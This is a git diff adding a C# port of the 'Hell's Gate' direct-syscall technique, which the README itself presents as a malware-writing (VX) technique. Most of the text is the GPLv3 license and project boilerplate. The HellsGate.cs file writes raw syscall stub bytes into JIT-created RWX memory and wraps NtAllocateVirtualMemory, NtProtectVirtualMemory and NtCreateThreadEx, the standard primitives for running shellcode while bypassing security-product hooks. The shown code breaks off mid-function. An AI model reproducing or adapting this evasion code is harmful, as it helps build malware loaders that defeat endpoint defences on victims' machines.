+INCLUDE_GRAPH = YES +INCLUDED_BY_GRAPH = YES +CALL_GRAPH = NO +CALLER_GRAPH = NO +GRAPHICAL_HIERARCHY = YES +DIRECTORY_GRAPH = YES +DOT_IMAGE_FORMAT = png +INTERACTIVE_SVG = NO +DOT_PATH = +DOTFILE_DIRS = +MSCFILE_DIRS = +DIAFILE_DIRS = +PLANTUML_JAR_PATH = +PLANTUML_CFG_FILE = +PLANTUML_INCLUDE_PATH = +DOT_GRAPH_MAX_NODES = 50 +MAX_DOT_GRAPH_DEPTH = 0 +DOT_TRANSPARENT = NO +DOT_MULTI_TARGETS = YES +GENERATE_LEGEND = YES +DOT_CLEANUP = YES \ No newline at end of file diff --git a/Hells Gate/C# Implementation/LICENSE b/Hells Gate/C# Implementation/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Hells Gate/C# Implementation/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Hells Gate/C# Implementation/README.md b/Hells Gate/C# Implementation/README.md new file mode 100644 index 0000000..0119d24 --- /dev/null +++ b/Hells Gate/C# Implementation/README.md @@ -0,0 +1,11 @@ +## C# Hell's Gate ## +C# Implementation of the Hell's Gate VX Technique +
+
+Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf +
PDF also included in this repository. +
+
+Link to the original C implementation: https://github.com/am0nsec/HellsGate +
+
diff --git a/Hells Gate/C# Implementation/SharpHellsGate.sln b/Hells Gate/C# Implementation/SharpHellsGate.sln new file mode 100644 index 0000000..0141a8e --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30114.105 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpHellsGate", "SharpHellsGate\SharpHellsGate.csproj", "{F6A46854-FDC2-4F27-9051-5C7BE8E68733}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {CA2A2F5F-A135-4771-A014-A6F2C0D24538} + EndGlobalSection +EndGlobal diff --git a/Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs b/Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs new file mode 100644 index 0000000..745df0a --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs @@ -0,0 +1,278 @@ +using System; +using SharpHellsGate.Win32; +using System.Runtime.InteropServices; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.CompilerServices; + +namespace SharpHellsGate { + + /// + /// Main implementation of the Hell's Gate technique. + /// Responsible for generating a RWX memory region, inject and execute system call stubs. + /// + public class HellsGate { + + /// + /// Used to check if the RWX memory region was generated. + /// + private bool IsGateReady { get; set; } = false; + + /// + /// Used as for mutual exclusion while injecting and execution of the system call stub in memory. + /// + private object Mutant { get; set; } = new object(); + + /// + /// + /// + private Dictionary APITable { get; set; } = new Dictionary() { }; + + /// + /// Address of the managed method that was JIT'ed. + /// + private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero; + + /// + /// Address of the RWX memory region after JIT compiling the managed method. + /// + private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero; + + /// + /// This function will be JIT at runtime to create RWX memory region. + /// + //// Gate returns either STATUS_SUCCESS or an error status code. + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + private static UInt32 Gate() { + return new UInt32(); + } + + /// + /// Inject in memory a basic system call stub and return a delegate for execution via un-managed code. + /// + /// The desired delegate Type. + /// The system call to execute. + /// A delegate of to execute the system call. + private T NtInvocation(Int16 syscall) where T: Delegate { + if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) { + Util.LogError("Unable to inject system call stub"); + return default; + } + + Span stub = stackalloc byte[24] { + 0x4c, 0x8b, 0xd1, // mov r10, rcx + 0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, +0x15 + 0x0f, 0x05, // syscall + 0xc3, // ret + 0xcd, 0x2e, // int 2Eh + 0xc3 // ret + }; + + Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length); + return Marshal.GetDelegateForFunctionPointer(this.UnmanagedMethodAddress); + } + + /// + /// Managed wrapper around the NtAllocateVirtualMemory native Windows function + /// + /// A handle for the process for which the mapping should be done. + /// A pointer to a variable that will receive the base address of the allocated region of pages. + /// The number of high-order address bits that must be zero in the base address of the section view. + /// A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages. + /// A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages. + /// A bitmask containing page protection flags that specify the protection desired for the committed region of pages. + /// NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code. + private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtAllocateVirtualMemory Func = NtInvocation(syscall); + return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); + } + } + + /// + /// Managed wrapper around the NtProtectVirtualMemory native Windows function. + /// + /// Handle to Process Object opened with PROCESS_VM_OPERATION access. + /// Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address. + /// Pointer to size of region to protect. On output will be round to page size (4KB). + /// One or some of PAGE_... attributes. + /// Receive previous protection. + /// NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code. + private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtProtectVirtualMemory Func = NtInvocation(syscall); + return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection); + } + } + + /// + /// Managed wrapper around the NtCreateThreadEx native Windows function. + /// + /// Caller supplied storage for the resulting handle. + /// Specifies the allowed or desired access to the thread. + /// Initialized attributes for the object. + /// Handle to the threads parent process. + /// Address of the function to execute. + /// Parameters to pass to the function. + /// Whether the thread will be in suspended mode and has to be resumed later. + /// + /// Initial stack memory to commit. + /// Initial stack memory to reserve. + /// + /// NtCreateThreadEx returns either STATUS_SUCCESS or an error status code. + private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtCreateThreadEx Func = NtInvocation(syscall); + return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer); + } + } + + /// + /// Managed wrapper around the NtWaitForSingleObject native Windows function. + /// + /// Open handle to a alertable executive object. + /// If set, calling thread is signaled, so all queued APC routines are executed. + /// Time-out interval, in microseconds. NULL means infinite. + /// NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code. + private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) { + lock (this.Mutant) { + Int16 syscall 